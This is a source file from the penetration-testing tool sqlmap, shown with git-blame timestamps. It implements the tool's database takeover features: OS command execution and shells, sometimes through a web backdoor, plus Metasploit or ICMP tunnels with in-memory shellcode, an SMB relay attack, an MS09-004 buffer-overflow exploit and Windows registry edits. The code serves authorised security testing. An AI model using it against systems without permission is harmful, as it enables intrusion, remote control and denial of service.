sqlmap/plugins/generic/takeover.py

482 lines
18 KiB
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2008-10-15 19:38:22 +04:00
"""
2021-09-08 22:01:41 +03:00
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
2008-10-15 19:38:22 +04:00
"""
import os
from lib.core.common import Backend
2018-11-23 17:55:05 +03:00
from lib.core.common import getSafeExString
2019-10-07 15:20:18 +03:00
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable
2019-07-04 12:07:25 +03:00
from lib.core.common import openFile
from lib.core.common import readInput
from lib.core.common import runningAsAdmin
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNotVulnerableException
2018-11-23 17:55:05 +03:00
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
2008-10-15 19:38:22 +04:00
2019-03-27 19:37:57 +03:00
class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
2008-10-15 19:38:22 +04:00
"""
This class defines generic OS takeover functionalities for plugins.
"""
def __init__(self):
2019-08-13 16:22:02 +03:00
self.cmdTblName = ("%soutput" % conf.tablePrefix)
self.tblField = "data"
Abstraction.__init__(self)
def osCmd(self):
if isStackingAvailable() or conf.direct:
2010-01-14 18:11:32 +03:00
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
web = True
else:
2011-04-30 17:20:05 +04:00
errMsg = "unable to execute operating system commands via "
2010-01-14 18:11:32 +03:00
errMsg += "the back-end DBMS"
raise SqlmapNotVulnerableException(errMsg)
2010-01-14 17:33:08 +03:00
self.getRemoteTempPath()
2010-01-14 18:11:32 +03:00
self.initEnv(web=web)
2010-01-15 21:00:15 +03:00
if not web or (web and self.webBackdoorUrl is not None):
self.runCmd(conf.osCmd)
if not conf.osShell and not conf.osPwn and not conf.cleanup:
self.cleanup(web=web)
2008-10-15 19:38:22 +04:00
def osShell(self):
if isStackingAvailable() or conf.direct:
2010-01-14 18:11:32 +03:00
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)
web = True
else:
2011-04-30 17:20:05 +04:00
errMsg = "unable to prompt for an interactive operating "
2011-04-20 18:48:23 +04:00
errMsg += "system shell via the back-end DBMS because "
errMsg += "stacked queries SQL injection is not supported"
raise SqlmapNotVulnerableException(errMsg)
2010-01-14 17:33:08 +03:00
self.getRemoteTempPath()
try:
self.initEnv(web=web)
except SqlmapFilePathException:
2019-11-09 00:39:55 +03:00
if not web and not conf.direct:
infoMsg = "falling back to web backdoor method..."
logger.info(infoMsg)
web = True
kb.udfFail = True
self.initEnv(web=web)
else:
raise
2010-01-15 21:00:15 +03:00
if not web or (web and self.webBackdoorUrl is not None):
self.shell()
if not conf.osPwn and not conf.cleanup:
self.cleanup(web=web)
def osPwn(self):
2010-01-14 17:33:08 +03:00
goUdf = False
fallbackToWeb = False
setupSuccess = False
2010-01-14 17:33:08 +03:00
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
2017-04-19 15:46:27 +03:00
tunnel = readInput(msg, default='1')
2019-10-07 15:20:18 +03:00
if isDigit(tunnel) and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
else:
2017-04-19 15:46:27 +03:00
warnMsg = "invalid value, valid values are '1' and '2'"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
2011-04-30 17:20:05 +04:00
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise SqlmapMissingPrivileges(errMsg)
2010-10-28 01:10:56 +04:00
try:
2018-09-13 12:41:19 +03:00
__import__("impacket")
except ImportError:
2013-01-07 17:34:20 +04:00
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
2021-05-27 13:29:40 +03:00
errMsg += "https://github.com/SecureAuthCorp/impacket"
raise SqlmapMissingDependence(errMsg)
2010-10-28 01:10:56 +04:00
2018-11-23 17:55:05 +03:00
filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
2018-11-23 17:55:05 +03:00
if os.path.exists(filename):
try:
2019-07-04 12:07:25 +03:00
with openFile(filename, "wb") as f:
2018-11-23 17:55:05 +03:00
f.write("1")
2019-01-22 02:40:48 +03:00
except IOError as ex:
2018-11-23 17:55:05 +03:00
errMsg = "there has been a file opening/writing error "
errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "If you miss doing that, you will receive "
errMsg += "information from the database server and it "
errMsg += "is unlikely to receive commands sent from you"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
2010-01-14 18:11:32 +03:00
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2011-04-30 17:20:05 +04:00
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
2019-03-22 15:49:52 +03:00
msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
while True:
2017-04-19 15:46:27 +03:00
choice = readInput(msg, default='1')
2019-10-07 15:20:18 +03:00
if isDigit(choice) and int(choice) in (1, 2):
choice = int(choice)
break
else:
2017-04-19 15:46:27 +03:00
warnMsg = "invalid value, valid values are '1' and '2'"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
2013-01-10 16:18:44 +04:00
exitfunc = "thread"
setupSuccess = True
else:
2013-01-10 16:18:44 +04:00
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
2011-07-20 17:28:10 +04:00
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "going to use a web backdoor to establish the tunnel"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
2010-01-14 18:11:32 +03:00
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
2011-04-30 17:20:05 +04:00
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
2010-01-14 18:11:32 +03:00
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)
def osSmb(self):
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
2011-04-30 17:20:05 +04:00
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise SqlmapUnsupportedDBMSException(errMsg)
if not isStackingAvailable() and not conf.direct:
if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
2011-04-30 17:20:05 +04:00
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise SqlmapUnsupportedDBMSException(errMsg)
elif Backend.isDbms(DBMS.MYSQL):
2011-04-30 17:20:05 +04:00
debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection"
logger.debug(debugMsg)
printWarn = True
2011-04-30 17:20:05 +04:00
warnMsg = "it is unlikely that this attack will be successful "
if Backend.isDbms(DBMS.MYSQL):
warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service"
elif Backend.isDbms(DBMS.PGSQL):
warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group"
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when "
warnMsg += "connecting to a SMB service"
else:
printWarn = False
if printWarn:
logger.warn(warnMsg)
self.smb()
def osBof(self):
if not isStackingAvailable() and not conf.direct:
return
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
2011-04-30 17:20:05 +04:00
errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise SqlmapUnsupportedDBMSException(errMsg)
2011-04-30 17:20:05 +04:00
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
msg = "this technique is likely to DoS the DBMS process, are you "
msg += "sure that you want to carry with the exploit? [y/N] "
2017-04-18 16:48:05 +03:00
if readInput(msg, default='N', boolean=True):
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
def uncPathRequest(self):
2011-04-30 17:20:05 +04:00
errMsg = "'uncPathRequest' method must be defined "
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)
def _regInit(self):
if not isStackingAvailable() and not conf.direct:
return
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
2011-04-30 17:20:05 +04:00
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
raise SqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
def regRead(self):
self._regInit()
if not conf.regKey:
default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
2011-04-30 17:20:05 +04:00
msg = "which registry key do you want to read? [%s] " % default
regKey = readInput(msg, default=default)
else:
regKey = conf.regKey
if not conf.regVal:
default = "ProductName"
2011-04-30 17:20:05 +04:00
msg = "which registry key value do you want to read? [%s] " % default
regVal = readInput(msg, default=default)
else:
regVal = conf.regVal
2018-07-27 01:30:30 +03:00
infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
logger.info(infoMsg)
2010-03-13 01:09:58 +03:00
return self.readRegKey(regKey, regVal, True)
def regAdd(self):
self._regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
2011-04-30 17:20:05 +04:00
msg = "which registry key do you want to write? "
regKey = readInput(msg)
if not regKey:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
2011-04-30 17:20:05 +04:00
msg = "which registry key value do you want to write? "
regVal = readInput(msg)
if not regVal:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
if not conf.regData:
2011-04-30 17:20:05 +04:00
msg = "which registry key value data do you want to write? "
regData = readInput(msg)
if not regData:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regData = conf.regData
if not conf.regType:
default = "REG_SZ"
2011-04-30 17:20:05 +04:00
msg = "which registry key value data-type is it? "
msg += "[%s] " % default
regType = readInput(msg, default=default)
else:
regType = conf.regType
2018-07-27 01:30:30 +03:00
infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
infoMsg += "with data '%s'. " % regData
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.addRegKey(regKey, regVal, regType, regData)
def regDel(self):
self._regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
2011-04-30 17:20:05 +04:00
msg = "which registry key do you want to delete? "
regKey = readInput(msg)
if not regKey:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
2011-04-30 17:20:05 +04:00
msg = "which registry key value do you want to delete? "
2009-12-21 14:04:54 +03:00
regVal = readInput(msg)
if not regVal:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
2011-04-30 17:20:05 +04:00
message = "are you sure that you want to delete the Windows "
2018-07-27 01:30:30 +03:00
message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
2017-04-19 15:46:27 +03:00
if not readInput(message, default='N', boolean=True):
return
2018-07-27 01:30:30 +03:00
infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.delRegKey(regKey, regVal)